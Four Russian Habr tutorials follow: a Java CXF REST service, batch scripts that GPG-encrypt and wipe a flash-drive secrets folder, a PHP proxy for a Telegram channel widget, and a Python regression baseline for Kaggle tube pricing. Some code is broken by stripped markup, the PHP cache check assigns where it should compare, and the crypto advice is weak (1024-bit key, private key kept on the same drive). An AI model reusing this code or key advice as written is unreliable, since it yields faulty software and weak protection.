Разобраться было и так вообщем то не сложно, но я думаю аналогичный пост мне бы очень помог и сильно бы ускорил процесс обучения! Тем более, если вы начинающий разработчик и о многом только слышали, а руками никогда не трогали.
По моему первому впечатлению: действительно вещь очень удобная, а главное очень простая, ещё и если использовать [JSON](http://en.wikipedia.org/wiki/JSON), а не [XML](http://en.wikipedia.org/wiki/XML), ну по крайней мере мне так показалось после опыта работы с [SOAP](http://en.wikipedia.org/wiki/SOAP) и [WSDL](http://en.wikipedia.org/wiki/WSDL). Ну, да об этом я думаю и так все знают, кто хоть немного работал с веб сервисами.
Так что, кто заинтересовался реализацией, прошу под кат
Сразу оговоримся:
1. весь код, конечно, в статье не выложишь и о нём не расскажешь;
2. версия проектика, конечно, не финальная и, как я уже говорил выше — буду очень благодарен за замечания и советы;
3. конечно же, есть баги.
И так, начнём по порядку:
1. Используемое ПО:
* JDK 1.6
* [Apache\_CXF](http://en.wikipedia.org/wiki/Apache_CXF)
* [Spring 3 Framework JDBC](http://static.springsource.org/spring/docs/3.0.x/reference/jdbc.html)
* Apache Tomcat 7.0
* MySQL 5.1
* Eclipse 4.2 Juno
* Maven 3.0
ПО выбиралось по очень простому принципу — чем проще, тем лучше. Да, вместо MySQL для нагруженных сервисов без необходимости делать сложные запросы в базу, очень хорошо использовать [MongoDB](http://en.wikipedia.org/wiki/MongoDB), ну, по крайней мере по этому поводу много написанно, да и опять же удобнее её использовать так как на входе тот же [JSON](http://en.wikipedia.org/wiki/JSON).
2. В принципе что будет делать наш сервис — тут всё очень банально: сервис будет работать с одной табличкой в БД — сосбственно вставлять, апдейтать, удалять, ну и, конечно же, получать записи списком или по Id. Конечно же, хотелось бы иметь возможность параметризированного запроса на получение списка записей, не плохо было бы сделать «красивый» урл к сервису, прикрутить какой-нибудь интерсептор, чтобы, например, проверять права пользователя на доступ к сервису, или что-нибудь другое делать перед запуском сервиса, ну и как-то централизованно управлять кодами ошибок в ответах от сервера.
Cобственно, табличка:
```
CREATE TABLE `customer` (
`id` varchar(45) NOT NULL,
`first_name` varchar(45) DEFAULT NULL,
`last_name` varchar(45) DEFAULT NULL,
`phone` varchar(45) DEFAULT NULL,
`mail` varchar(45) DEFAULT NULL,
`adress` varchar(45) DEFAULT NULL,
`contract_id` varchar(45) DEFAULT NULL,
`contract_expire_date` date DEFAULT NULL
)
```
WS Endpoints:
```
1. http://mysite.com/service/customer
```
```
2. http://mysite.com/service/customer/{id}
```
4 стандартных статуса, которые мы будем дополнительно обрабатывать (например, добавлять версию наших веб сервисов в ответ и при ошибке — наш код ошибки):
200 — Successful;
401 — Not Authorized;
404 — Not Found;
500 — Server error during operation.
3. Реализация (код на гитхабе [тут](https://github.com/serega-sergei/test.git)):
Да, код, минимально комментировал, описание аннотаций [тут](http://jsr311.java.net/nonav/releases/1.1/spec/spec.html).
Сами веб сервисы:
```
public class CustomersServiceJSON implements ICustomersService {
// link to our dao object
private ICustomersDAO customersDAO;
// for customersDAO bean property injection
public ICustomersDAO getCustomersDAO() {
return customersDAO;
}
public void setCustomersDAO(ICustomersDAO customersDAO) {
this.customersDAO = customersDAO;
}
// for retrieving request headers from context
// an injectable interface that provides access to HTTP header information.
@Context
private HttpHeaders requestHeaders;
private String getHeaderVersion() {
return requestHeaders.getRequestHeader("version").get(0);
}
// get by id service
@GET
@Path("/{id}")
public Response getCustomer(@PathParam("id") String id) {
Customer customer = customersDAO.getCustomer(id);
if (customer != null) {
return ResponseCreator.success(getHeaderVersion(), customer);
} else {
return ResponseCreator.error(404, Error.NOT_FOUND.getCode(),
getHeaderVersion());
}
}
// remove row from the customers table according with passed id and returned
// status message in body
@DELETE
@Path("/{id}")
public Response removeCustomer(@PathParam("id") String id) {
if (customersDAO.removeCustomer(id)) {
return ResponseCreator.success(getHeaderVersion(), "removed");
} else {
return ResponseCreator.success(getHeaderVersion(), "no such id");
}
}
// create row representing customer and returns created customer as
// object->JSON structure
@POST
@Consumes(MediaType.APPLICATION_JSON)
public Response createCustomer(Customer customer) {
System.out.println("POST");
Customer creCustomer = customersDAO.createCustomer(customer);
if (creCustomer != null) {
return ResponseCreator.success(getHeaderVersion(), creCustomer);
} else {
return ResponseCreator.error(500, Error.SERVER_ERROR.getCode(),
getHeaderVersion());
}
}
// update row and return previous version of row representing customer as
// object->JSON structure
@PUT
@Consumes(MediaType.APPLICATION_JSON)
public Response updateCustomer(Customer customer) {
Customer updCustomer = customersDAO.updateCustomer(customer);
if (updCustomer != null) {
return ResponseCreator.success(getHeaderVersion(), updCustomer);
} else {
return ResponseCreator.error(500, Error.SERVER_ERROR.getCode(),
getHeaderVersion());
}
}
// returns list of customers meeting query params
@GET
//@Produces(MediaType.APPLICATION_JSON)
public Response getCustomers(@QueryParam("keyword") String keyword,
@QueryParam("orderby") String orderBy,
@QueryParam("order") String order,
@QueryParam("pagenum") Integer pageNum,
@QueryParam("pagesize") Integer pageSize) {
CustomerListParameters parameters = new CustomerListParameters();
parameters.setKeyword(keyword);
parameters.setPageNum(pageNum);
parameters.setPageSize(pageSize);
parameters.setOrderBy(orderBy);
parameters.setOrder(Order.fromString(order));
List listCust = customersDAO.getCustomersList(parameters);
if (listCust != null) {
GenericEntity> entity = new GenericEntity>(
listCust) {
};
return ResponseCreator.success(getHeaderVersion(), entity);
} else {
return ResponseCreator.error(404, Error.NOT\_FOUND.getCode(),
getHeaderVersion());
}
}
}
```
Всё достаточно просто — 4 веб сервиса в зависимости от URI и метода которым этот URI дёргается, есть объект DAO, который подключается в beans.xml и доступ к заголовкам запроса, чтобы доставать для примера кастомный заголовок «version».
Штука, которая отрабатывает перед тем как вызывается сервис:
```
public class PreInvokeHandler implements RequestHandler {
// just for test
int count = 0;
private boolean validate(String ss_id) {
// just for test
// needs to implement
count++;
System.out.println("SessionID: " + ss_id);
if (count == 1) {
return false;
} else {
return true;
}
}
public Response handleRequest(Message message, ClassResourceInfo arg1) {
Map> headers = CastUtils.cast((Map, ?) message
.get(Message.PROTOCOL\_HEADERS));
if (headers.get("ss\_id") != null && validate(headers.get("ss\_id").get(0))) {
// let request to continue
return null;
} else {
// authentication failed, request the authentication, add the realm
return ResponseCreator.error(401, Error.NOT\_AUTHORIZED.getCode(), headers.get("version").get(0));
}
}
}
```
Здесь в методе validate() можно проверять какие-то пред условия, чисто для теста добавлена проверка кастомного заголовка в запросе идентификатор сессии «ss\_id», ну, и с первого раза даже с этим заголовком будет падать 401.
Общий обработчик exceptions:
```
public class CustomExceptionMapper implements ExceptionMapper {
@Context
private HttpHeaders requestHeaders;
private String getHeaderVersion() {
return requestHeaders.getRequestHeader("version").get(0);
}
public Response toResponse(Exception ex) {
System.out.println(ex.getMessage() + ex.getCause());
return ResponseCreator.error(500, Error.SERVER\_ERROR.getCode(), getHeaderVersion());
}
}
```
Что-то уже многовато кода для поста, есть ещё вспомогательный класс для формирования ответа серверу и глобальный enum для хранения наших кодов ошибок. Да, дескриптор развёртывания и beans.xml всё таки приведу тут:
web.xml:
```
...
service
contextConfigLocation
WEB-INF/beans.xml
org.springframework.web.context.ContextLoaderListener
CXFServlet
CXF Servlet
org.apache.cxf.transport.servlet.CXFServlet
1
CXFServlet
/\*
```
Тут основной интерес представляет подключение экшн сервлета от Apache — CXFServlet и стандартного спрингового ContextLoaderListener.
beans.xml:
```
...
.........
```
Здесь, собственно, задали нужные конфигурационные файлики для CXF, подключили DAO объект, наш предобработчик и обработчик исключительных ситуаций, конечно же, сам бин с сервисами и задали корень для сервисов.
Для того чтобы подёргать сервисы я использовал [REST Console 4.0.2](https://chrome.google.com/webstore/detail/cokgbflfommojglbmbpenpphppikmonn?hl=en-US) плагин для хрома — штука достаточно простая, главное задать нужные ендпоинт, кастомные заголовки (как я уже говорил без «ss\_id» всегда будет падать 401) и контент тип. Для примера:
Request Body:
```
Request Url: http://localhost:8080/service/customer
Request Method: GET
Status Code: 200
```
Request headers:
```
Accept: application/json
Content-Type: application/json
ss_id: 12312.111
version: 12312.111
........
```
Response headers:
```
Status Code: 200
Date: Tue, 21 Aug 2012 13:09:45 GMT
Content-Length: 877
Server: Apache-Coyote/1.1
Content-Type: application/json
version: 12312.111
```
Response body:
```
{
"customer": [{
"id": "89ad5a46-c9a2-493f-a583-d8250ee31766",
"adress": "null",
"contract_id": "null",
"first_name": "serg",
"last_name": "serg",
"mail": "serg",
"phone": "null"
}, {
"id": "300ff688-a783-4e6a-9048-8bb625128dc0",
"first_name": "serg"
}, {
"id": "67731ab9-87b1-4ff9-a7e4-618c1f9e8c4c",
"first_name": "serg"
}, {
"id": "cd5039bb-031f-4697-a70c-ad3e628963dd",
"first_name": "serg"
}, {
"id": "86da5446-7439-4242-b730-31c8b57a5c7d",
"first_name": "serg"
},
..........
```
И последнее, хотелось иметь «красивый», лучше скажем нужный нам урл к вебсервисам. Кнечно, можно поправить server.xml или использовать какой-нибудь тул для urlRewrite, но по моему самый простой способ это запаковать наш веб архив в ear и задать другой рут для наших веб-сервисов в application.xml, но в рамках данного поста я этого уже делать не буду.
P.S.: Надеюсь, что данный пост будет полезен тем кто хочет познакомиться с Java RESTful web services, а более опытные посоветуют и покритикуют! | https://habr.com/ru/post/150034/ | null | ru | null |
# Безопасное хранение секретов
| | |
| --- | --- |
| image | Расскажу об одном из портативных, кроссплатформенных методов хранения секретов на накопителях, в основе которого лежит только открытое, свободно распространяемое ПО. |
Никогда не мог запомнить все логины, пароли и прочие коды доступа ко всем моим учетным записям. Порой регистрационное имя и заветный код необходимы в самый неподходящий момент, поэтому я таскаю их на флэшке. Для того, чтобы не рвать на себе волосы при потере заветного накопителя информации я и написал скриптики, речь о которых пойдет ниже.
Сформулируем задачу.
Существует папка с секретами (личные дневники, информация об аккаунтах, статьи на хабр и т.д.), которую ну никак нельзя хранить в открытом виде. Возможность прочитать данные из нее хочется иметь на любом компьютере, на который занесет. Для простоты описания дальнейших манипуляций сузим до всех компьютеров под управлением Windows. Но никто не мешает расширить этот круг, так как все используемое ПО кроссплатформенное.
Нам понадобятся следующие инструменты:
* консольный архиватор
* пакет программ, реализующих инструменты криптографии
* шреддер файлов
Я буду использовать [7-Zip portable](http://sourceforge.net/projects/sevenzip), [GnuPG](http://www.gnupg.org) и [Eraser portable](http://sourceforge.net/projects/eraser).
На \*nix системах это может быть к примеру tar, GnuPG и wipe
Создаем на флешке рабочую директорию (к примеру F:\bin\secure). Копируем в нее нужные нам инструменты:
* 7z.exe, 7z.dll — из 7-Zip portable
* Eraserl.exe, Eraser.dll — из Eraser portable
* gpg.exe из GnuPG
Дальше нам необходимо сгенерировать закрытый и открытый ключи для операций криптографии. Делается это очень просто с помощью все той же gpg:
`F:\bin\secure\gpg.exe --gen-key --home=C:\`
Ответив на все вопросы (если не понимаете что спрашивают в первых трех вопросах, можете ответить так: 1, 1024, 0) получим открытый и закрытый ключи, а также базу доверенных сертификатов. Это файлы:
* C:\pubring.gpg
* C:\secring.gpg
* C:\random\_seed
* C:\trustdb.gpg
Самыми важными являются pubring (открытый ключ, с помощью которого можно зашифровать) и secring (закрытый ключ, с помощью которого можно расшифровать). Кроме того, советую запомнить имя владельца ключа и пароль. Записываем все на зарегистрированный носитель и кладем в сейф. Мне портативность важнее безопасности, поэтому оба файла я буду хранить на той же флешке. Просто положу их в такое место, где их врятли будут искать. Даже если и найдут, для расшифрования закрытым ключем понадобится пароль.
Пусть закрытый ключ будет F:\ЗАКРЫТЫЙ.КЛЮЧ, а открытый — F:\ОТКРЫТЫЙ.КЛЮЧ. Базу доверенных сертификатов (нужна, чтобы gpg не ругался при осуществлении операций шифрования/расшифрования) — файлы random\_seed и trust\_db кладем к gpg.exe, то есть в F:\bin\secure.
Замечание:
Если вы работаете дома и в офисе, таская важную информацию туда и обратно, ключи можно хранить на рабочем и офисном компьютере. Таким образом «в пути» информация будет защищена от кражи, потери или встречи в темном переулке с группой гопников-ITшников.
Осталось только реализовать скрипт шифрования, реализующий следующие операции:
* Копипрование нужных ключей в F:\bin\secure
* Архивирование каталога с сектерами
* Шифрование архива
* Полное удаление каталога, архива и ключей в F:\bin\secure
И скрипт расшифрования —
* Копирование ключей
* Расшифрование
* Распаковка
* Полное удаление архива и ключей
* Удаление зашифрованного архива
Вот эти скрипты на batch:
**enc.bat**
1 @echo off
2 rem Получение ключей
3 copy %3 "%~dp0/pubring.gpg" /Y >> nul
4 rem Упаковка
5 %~dp0/7z.exe a %1.7z %1 >> nul && start/wait %~dp0/gpg.exe ^
6 --homedir=%~dp0 -r %2 --quiet -o%1.enc -e %1.7z
7 IF NOT %ERRORLEVEL% == 0 goto fail
8 echo ENCRYPTED SUCCESSFULL
9 %~dp0/eraserl.exe -file %1.7z -silent && %~dp0/eraserl.exe -folder %1 ^
10 -subfolders -silent >> nul
11 goto end
12 :fail
13 echo ENCRIPTION FAILED
14 :end
15 rem Зачищаем ключи
16 %~dp0/eraserl.exe -file "%~dp0/pubring.gpg" -silent
**dec.bat**
1 @echo off
2 rem Получение ключей
3 copy %3 "%~dp0/pubring.gpg" /Y >> nul
4 copy %4 "%~dp0/secring.gpg" /Y >> nul
5 rem Расшифровка
6 start/wait %~dp0/gpg.exe --homedir=%~dp0 -r %2 --quiet -o%1.7z -d %1
7 IF NOT %ERRORLEVEL% == 0 goto fail
8 rem Распаковка
9 %~dp0/7z.exe x %1.7z -o%~dp1 >> nul && del %1 /Q && %~dp0/eraserl.exe ^
10 -file %1.7z -resultsonerror
11 echo DECRYPTED SUCCESSFULL
12 goto end
13 :fail
14 echo DECRYPTION FAILED
15 :end
16 %~dp0/eraserl.exe -file "%~dp0/secring.gpg" -resultsonerror && ^
17 %~dp0/eraserl.exe -file "%~dp0/pubring.gpg" -resultsonerror
Располагаем их в той же папке F:\bin\secure. Если запаковать Eraserl.exe, Eraser.dll и gpg.exe с помощью upx, то вся папка secure вместе с ключами легко помещается на зарегистрированной 3,5" дискете.
Сам процесс зашифрования выглядит так:
`F:\bin\secure\enc.bat F:\ВАЖНАЯ_ПАПКА ИМЯ_ВЛАДЕЛЬЦА_КЛЮЧА F:\ОТКРЫТЫЙ.КЛЮЧ`
а расшифрования так:
`F:\bin\secure\dec.bat F:\ВАЖНАЯ_ПАПКА.enc ИМЯ_ВЛАДЕЛЬЦА_КЛЮЧА F:\ОТКРЫТЫЙ.КЛЮЧ F:\ЗАКРЫТЫЙ.КЛЮЧ`
В процессе расшифровки вас попросят ввести пароль на закрытый ключ.
Замечание:
Данные скрипты шифруют только папки, потому что eraserl различает папки и файлы, но при наличии необходимой сноровки это досадное недоразумение легко поправимо. | https://habr.com/ru/post/73642/ | null | ru | null |
# Вывод Telegram-канала на свой вебсайт
Забьем еще один гвоздь в крышку гроба Роскомнадзора.
Напрямую получить доступ сообщениям своего канала для вывода их в веб страницу нельзя. Но можно написать bot, который будет поступающие к нему сообщения отправлять куда нужно, чтобы их обработать и вывести на сайт. А можно воспользоваться готовым.
Странно, что на Хабре еще не упоминался этот замечательный бот — [Journalist](http://journali.st/) (@JournalistBot). На сайте указано, что beta, но работает более чем стабильно.
После несложной установки бота и настройки в нем своего нового journalist канала, получаете от него код виджета, который нужно поместить на свой сайт в какой-нибудь div или что-то типа этого, который выведет адаптивную вертикальную ленту ваших сообщений:
```
[Подписаться](https://t.me/channelname)
```
Где *353945930* — id вашего канала в JournalistBot-е. Число *10* в «widget-10» — количество последних отображаемых сообщений. Его можно менять.
Новые сообщения для вашего канала добавляются в JournalistBot или напрямую, или переадресацией в него из других каналов. Иногда (единственный замеченный баг) сообщение, в котором присутствует и картинка и текст, доходит не полностью — или картинка, или текст. В остальном всё вполне на уровне. Каналов можно сделать несколько.
Основные прелести виджета:
* код разворачивается напрямую, без iframe-ов.
* внешний вид (сам по себе приятный и стильный) легко перенастраивается своим css
* оперативная автоматическая подгрузка новых сообщений из канала по мере их поступления (появляются сверху)
Можно сделать небольшой хак — проксировать данные канала (https://journali.st/broadcasts/353945930-widget-10.js) через свой сайт. Тогда будет возможность немножко их редактировать.
Например, у меня реализован вот такой кэширующий на 5 минут данные прокси, который отдельным скриптом /misc/image.php уменьшает размеры всех картинок.
**Код journalist прокси**
```
php
$file = "journalist.cache.js";
$LastModified_unix = filemtime($file);
$LastModified = gmdate("D, d M Y H:i:s \G\M\T", $LastModified_unix);
$IfModifiedSince = false;
if (isset($_ENV['HTTP_IF_MODIFIED_SINCE']))
$IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5));
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
$IfModifiedSince = strtotime(substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 5));
if ($IfModifiedSince && $IfModifiedSince = $LastModified_unix) {
header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified');
exit;
}
header('Last-Modified: '. $LastModified);
if (!file_exists($file) || (time() - filemtime($file)) > 1200) {
$data = file_get_contents("https://journali.st/broadcasts/353945930-widget-10.js");
$data = str_replace("https://images-onepick-opensocial.googleusercontent.com/gadgets/proxy?container=onepick&url=", "/misc/image.php?size=310&url=", $data);
file_put_contents($file, $data);
}
readfile($file);
?>
```
В вышеуказанном script src необходимо поменять ссылку на наш прокси. Новые сообщения приходят клиенту, естественно, напрямую, минуя прокси.
Еще из рекомендуемой доводки напильником: скроллбар (стандартный или JQuery плагином) для блоков с ограниченной высотой, подцепка к картинкам lightbox-а (или на стороне сервера добавлением class-a, или на стороне клиента javascript-ом), свертывание блока с сообщениями по клику (чтобы не мешал).
Для lightbox-a следует учесть динамическое поступление новых картинок (сообщений). Для этого случая можно запускать обработку картинок в блоке канала каждые 10 секунд, например, или повесить обработчик событий на код journalist-а.
В целом Journalist — очень приятное и стабильное приложение, позволяющее оперативно и удобно добавлять на свой сайт информацию с компьютера или телефона — вести трансляции, например. Как отдельный telegram-канал канал в journalist не работает, поэтому при такой необходимости приходится дублировать сообщения.
Бесплатен, рекламы нет. | https://habr.com/ru/post/354642/ | null | ru | null |
# Как быстро написать и выкатить в продакшн алгоритм машинного обучения
Сейчас анализ данных все шире используется в самых разных, зачастую далеких от ИТ, областях и задачи, стоящие перед специалистом на ранних этапах проекта радикально отличаются от тех, с которыми сталкиваются крупные компании с развитыми отделами аналитики. В этой статье я расскажу о том, как быстро сделать полезный прототип и подготовить простой API для его использования прикладным программистом.
Для примера рассмотрим задачу предсказания цены на трубы размещенную на платформе для соревнований Kaggle. Описание и данные можно найти [здесь](https://www.kaggle.com/c/caterpillar-tube-pricing). На самом деле на практике очень часто встречаются задачи в которых надо быстро сделать прототип имея очень небольшое количество данных, а то и вообще не имея реальных данных до момента первого внедрения. В этих случаях приходится подходить к задаче творчески, начинать с несложных эвристик и ценить каждый запрос или размеченный объект. Но в нашей модельной ситуации таких проблем, к счастью, нет и поэтому мы можем сразу начать с обзора данных, определения задачи и попыток применения алгоритмов.
Итак, распаковав архив с данными, можно обнаружить, что в нем содержится приблизительно пара десятков csv-файлов. Согласно описанию на странице соревнования, основными из них являются train\_set.csv и test\_set.csv. Они содержат базовую информацию касающуюся цен. Остальные файлы содержат вспомогательные, но немногим менее важные данные. Давайте рассмотрим их поподробнее.
Поместив архив в поддиректорию data корневой директории проекта и разархивировав его командами
```
$ cd data/
$ unzip data.zip
$ cd ..
```
Мы можем посмотреть, что находится в интересующих нас файлах:
```
$ head data/competition_data/train_set.csv
tube_assembly_id,supplier,quote_date,annual_usage,min_order_quantity,bracket_pricing,quantity,cost
TA-00002,S-0066,2013-07-07,0,0,Yes,1,21.9059330191461
TA-00002,S-0066,2013-07-07,0,0,Yes,2,12.3412139792904
TA-00002,S-0066,2013-07-07,0,0,Yes,5,6.60182614356538
TA-00002,S-0066,2013-07-07,0,0,Yes,10,4.6877695119712
TA-00002,S-0066,2013-07-07,0,0,Yes,25,3.54156118026073
TA-00002,S-0066,2013-07-07,0,0,Yes,50,3.22440644770007
TA-00002,S-0066,2013-07-07,0,0,Yes,100,3.08252143576504
TA-00002,S-0066,2013-07-07,0,0,Yes,250,2.99905966403855
TA-00004,S-0066,2013-07-07,0,0,Yes,1,21.9727024365273
```
Видим столбцы с данными, соответствующими объекту (instance), цену которого мы будем предсказывать. А именно — идентификатор сборки (пока совершенно непонятно что это такое, но волшебство машинного обучения, помимо прочего, состоит в том, что для эффективного использования данных иногда совершенно необязательно понимать, что они означают), номер поставщика, дата и так далее. Отдельно обратим внимание на предпоследний столбец с количеством единиц поставки. Наконец последний столбец — метка (label), его цена. Чем больше больше единиц товара поставляется, тем ниже его цена, что вполне согласуется с нашими представления о происходящем в реальном мире.
Посмотрим теперь на файл с тестовыми данными.
```
$ head data/competition_data/test_set.csv
id,tube_assembly_id,supplier,quote_date,annual_usage,min_order_quantity,bracket_pricing,quantity
1,TA-00001,S-0066,2013-06-23,0,0,Yes,1
2,TA-00001,S-0066,2013-06-23,0,0,Yes,2
3,TA-00001,S-0066,2013-06-23,0,0,Yes,5
4,TA-00001,S-0066,2013-06-23,0,0,Yes,10
5,TA-00001,S-0066,2013-06-23,0,0,Yes,25
6,TA-00001,S-0066,2013-06-23,0,0,Yes,50
7,TA-00001,S-0066,2013-06-23,0,0,Yes,100
8,TA-00001,S-0066,2013-06-23,0,0,Yes,250
9,TA-00003,S-0066,2013-07-07,0,0,Yes,1
```
Те же самые столбцы за исключением последнего — а именно предсказываемой цены. Что логично для соревнования — именно на этих данных надо сформировать ответ для отправки на сайт соревнования и получения промежуточного результата.
Как мы уже отметили выше, помимо двух основных файлов с данными в нашем распоряжении есть еще и немало дополнительных. Имеет смысл заглянуть хотя бы в парочку из них для того, чтобы уловить основную идею данных в них содержащихся.
```
$ head data/competition_data/tube.csv
tube_assembly_id,material_id,diameter,wall,length,num_bends,bend_radius,end_a_1x,end_a_2x,end_x_1x,end_x_2x,end_a,end_x,num_boss,num_bracket,other
TA-00001,SP-0035,12.7,1.65,164,5,38.1,N,N,N,N,EF-003,EF-003,0,0,0
TA-00002,SP-0019,6.35,0.71,137,8,19.05,N,N,N,N,EF-008,EF-008,0,0,0
TA-00003,SP-0019,6.35,0.71,127,7,19.05,N,N,N,N,EF-008,EF-008,0,0,0
TA-00004,SP-0019,6.35,0.71,137,9,19.05,N,N,N,N,EF-008,EF-008,0,0,0
TA-00005,SP-0029,19.05,1.24,109,4,50.8,N,N,N,N,EF-003,EF-003,0,0,0
TA-00006,SP-0029,19.05,1.24,79,4,50.8,N,N,N,N,EF-003,EF-003,0,0,0
TA-00007,SP-0035,12.7,1.65,202,5,38.1,N,N,N,N,EF-003,EF-003,0,0,0
TA-00008,SP-0039,6.35,0.71,174,6,19.05,N,N,N,N,EF-008,EF-008,0,0,0
TA-00009,SP-0029,25.4,1.65,135,4,63.5,N,N,N,N,EF-003,EF-003,0,0,0
```
Ага, это просто соответствие между неким «идентификатором сборки», упоминавшимся выше и материалом, диаметром и тому подобными сведениями. Информация, вероятно, вполне полезная для обучения алгоритма.
Наконец, посмотрим, что содержится в файле посвященном материалам из которых сделаны трубы.
```
$ head data/competition_data/bill_of_materials.csv
tube_assembly_id,component_id_1,quantity_1,component_id_2,quantity_2,component_id_3,quantity_3,component_id_4,quantity_4,component_id_5,quantity_5,component_id_6,quantity_6,component_id_7,quantity_7,component_id_8,quantity_8
TA-00001,C-1622,2,C-1629,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00002,C-1312,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00003,C-1312,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00004,C-1312,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00005,C-1624,1,C-1631,1,C-1641,1,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00006,C-1624,1,C-1631,1,C-1641,1,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00007,C-1622,2,C-1629,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00008,C-1312,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00009,C-1625,2,C-1632,2,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
```
Опять видим просто список соответствий между «идентификатором сборки» и компонентами. Обратим внимание на обилие полей с значением «NA». Как правило они обозначают пропуски в данных, однако в данном примере они соответствуют случаям, когда компонент просто недостаточно много для того, чтобы заполнить все 8 имеющихся в шапке позиций.
Казалось бы данные в общих чертах изучены, пора переходить непосредственно к настройке алгоритма. А вот и нет — прежде чем взяться за настройку алгоритма стоит понять, чего мы от него собираемся добиться, как мы будем сравнивать между собой два алгоритма, какой из них хуже, а какой — лучше. Во-первых нам придется оставить часть размеченных данных для проверки качества обученного алгоритма, в машинном обучении эта часть данных называется *валидационной выборкой*. Во-вторых нам придется исключить эту часть данных из тех, на которых мы будем проводить обучение, иначе модель предсказывающая ровно ту метку (в нашем случае — цену), какая была в обучающем объекте и случайную — в любом другом случае, будет давать идеальные предсказания на валидационной выборке, но при этом совершенно ужасные — при реальном применении. Исходные данные после исключения из них валидационной выборки называются *тренировочной выборкой*. Процесс обучения модели на тренировочной выборке и проверки качества ее работы на валидационной называется *валидационной процедурой*. Но и это еще не все — помимо выбора валидационной процедуры (которая, кстати говоря, может меняться в процессе экспериментов) необходимо выбрать еще и способ оценки качества предсказания при имеющихся экспериментальных результатах. А именно — функцию, которая возьмет на вход соответствующие два массива и даст на выходе оценку того, насколько предсказания соответствуют эксперименту. Такая функция называется *метрикой качества* и от ее выбора в реальных ситуациях зачастую зависит намного больше, чем от того, какой алгоритм мы выберем и как будем его настраивать. Не вдаваясь пока в детали этого тонкого процесса воспользуемся предложенной организаторами соревнования Root Mean Squared Logarithic Error (RMSLE).
Итак, принципиальные вопросы решены и мы можем приступить к написанию кода, загружающего данные и обучающего наш алгоритм. Для того, чтобы протестировать базовый пайплайн разделим выборку на тренировочную и валидационную части в соотношении 70/30, используем две простые фичи и один из простейших алгоритмов — линейную регрессию.
Напишем базовую функцию для загрузки данных и проверим ее работоспособность:
```
def load_data():
list_of_instances = []
list_of_labels = []
with open('./data/competition_data/train_set.csv') as input_stream:
header_line = input_stream.readline()
columns = header_line.strip().split(',')
for line in input_stream:
new_instance = dict(zip(columns[:-1], line.split(',')[:-1]))
new_label = float(line.split(',')[-1])
list_of_instances.append(new_instance)
list_of_labels.append(new_label)
return list_of_instances, list_of_labels
>>> list_of_instances, list_of_labels = load_data()
>>> print(len(list_of_instances), len(list_of_labels))
30213 30213
>>> print(list_of_instances[:3])
[{'annual_usage': '0', 'quote_date': '2013-07-07', 'tube_assembly_id': 'TA-00002', 'min_order_quantity': '0', 'bracket_pricing': 'Yes', 'quantity': '1', 'supplier': 'S-0066'}, {'annual_usage': '0', 'quote_date': '2013-07-07', 'tube_assembly_id': 'TA-00002', 'min_order_quantity': '0', 'bracket_pricing': 'Yes', 'quantity': '2', 'supplier': 'S-0066'}, {'annual_usage': '0', 'quote_date': '2013-07-07', 'tube_assembly_id': 'TA-00002', 'min_order_quantity': '0', 'bracket_pricing': 'Yes', 'quantity': '5', 'supplier': 'S-0066'}]
>>> print(list_of_labels[:3])
[21.9059330191461, 12.3412139792904, 6.60182614356538]
```
Результаты вполне соответствуют ожиданиям. Теперь напишем заготовку функции, переводящей объекты (instances) в фичевекторы (samples).
```
def is_bracket_pricing(instance):
if instance['bracket_pricing'] == 'Yes':
return [1]
elif instance['bracket_pricing'] == 'No':
return [0]
else:
raise ValueError
def get_quantity(instance):
return [int(instance['quantity'])]
def to_sample(instance):
return is_bracket_pricing(instance) + get_quantity(instance)
>>> print(list(map(to_sample, list_of_instances[:3])))
[[1, 1], [1, 2], [1, 5]]
```
Позже, когда разных фичей станет много, они все переедут в специально отведенный для этого файл features.py, где будут обрастать вариациями, вспомогательными функциями, а в отдельных, особо запущенных случаях — еще и юнит-тестами.
Теперь у нас уже в принципе есть все необходимое для того, чтобы обучить первую, самую простую модель машинного обучения. Маленький (но важный) момент — мы договорились, что будем оптимизироваться под предложенную в условии соревнования метрику 
где  — предсказанные моделью значение, а  — фактические. Для того, чтобы наши усилия по подбору фичей и настроек модели в большей степени соответствовали этой цели, применим к меткам (labels) функцию . Дело в том, что большинство регрессионных методов машинного обучения предназначены для минимизации квадратичной ошибки (MSE) — и именно к оптимизации такой метрики качества мы сводим нашу задачу применив к меткам вышеуказанную функцию.
```
import math
def to_interim_label(label):
return math.log(label + 1)
def to_final_label(interim_label):
return math.exp(interim_label) - 1
>>> print(to_final_label(to_interim_label(42)))
42.0
```
Похоже на то, что мы не ошиблись с функциями перехода от исходных меток к более удобным для оптимизации и обратно и эти функции в самом деле взаимообратны. Теперь инициализируем модель и обучим ее на полученных фичевекторах и промежуточных метках.
```
>>> model = LinearRegression()
>>> list_of_samples = list(map(to_sample, list_of_instances))
>>> TRAIN_SAMPLES_NUM = 20000
>>> train_samples = list_of_samples[:TRAIN_SAMPLES_NUM]
>>> train_labels = list_of_labels[:TRAIN_SAMPLES_NUM]
>>> model.fit(train_samples, train_labels)
```
Теперь модель обучена и мы можем проверить, насколько она хорошо работает, сравнив результат ее предсказания и действительные значения на валидационной выборке.
```
>>> validation_samples = list_of_samples[TRAIN_SAMPLES_NUM:]
>>> validation_labels = list(map(to_interim_label, list_of_labels[TRAIN_SAMPLES_NUM:]))
>>> squared_errors = []
>>> for sample, label in zip(validation_samples, validation_labels):
>>> prediction = model.predict(numpy.array(sample).reshape(1, -1))[0]
>>> squared_errors.append((prediction - label) ** 2)
>>> mean_squared_error = sum(squared_errors) / len(squared_errors)
>>> print('Mean Squared Error: {0}'.format(mean_squared_error))
Mean Squared Error: 0.8251727558694294
```
